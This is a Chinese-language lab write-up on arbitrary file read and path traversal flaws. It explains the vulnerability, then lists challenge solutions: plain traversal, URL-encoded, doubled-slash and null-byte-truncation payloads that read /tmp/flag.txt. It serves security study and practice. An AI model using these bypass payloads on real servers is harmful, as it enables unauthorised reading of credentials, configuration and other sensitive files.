一.文件读取
1.概念
任意文件读取漏洞(Arbitrary File Read Vulnerability)是指攻击者可以通过web应用程序读取任意文件而不受访问控制限制的漏洞。这种漏洞可能导致敏感信息泄露、系统崩溃等问题。
攻击者可以利用任意文件读取漏洞访问服务器上的任意文件,包括密码文件、配置文件等,从而获取系统权限和敏感信息。此外,攻击者还可以利用该漏洞读取应用程序中的敏感数据,如数据库凭据、API密钥 等。
任意文件读取漏洞通常是由于未正确验证用户输入所导致的。攻击者可以通过构造特殊的请求参数来绕过应用程序的访问控制,从而访问任意文件。例如,攻击者可以通过修改URL路径或添加特殊字符来访问非预期的文件。
二.靶场实战
1.初级-任意文件读取
直接目录遍历即可 ../../../../tmp/flag.txt,或者直接用绝对路径/tmp/flag.txt
2.你需要了解什么是路径穿越
根据题目,还是考察的目录遍历
3.任意文件读取的简单绕过1
URL编码绕过
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Ftmp%2Fflag.txt
../../../../../tmp/flag.txt
4.任意文件读取的简单绕过2
双写绕过
....//....//....//....//tmp/flag.txt
5.任意文件读取的简单绕过3
00%截断 + 文件扩展名绕过
../../../../tmp/flag.txt%00.png
在PHP 5.3.4之前的版本中,%00(空字节)在C语言层面有特殊作用:
PHP底层用C语言处理文件操作
C语言中字符串以\0(空字节)作为结束符
当拼接文件名时,遇到%00就认为字符串结束了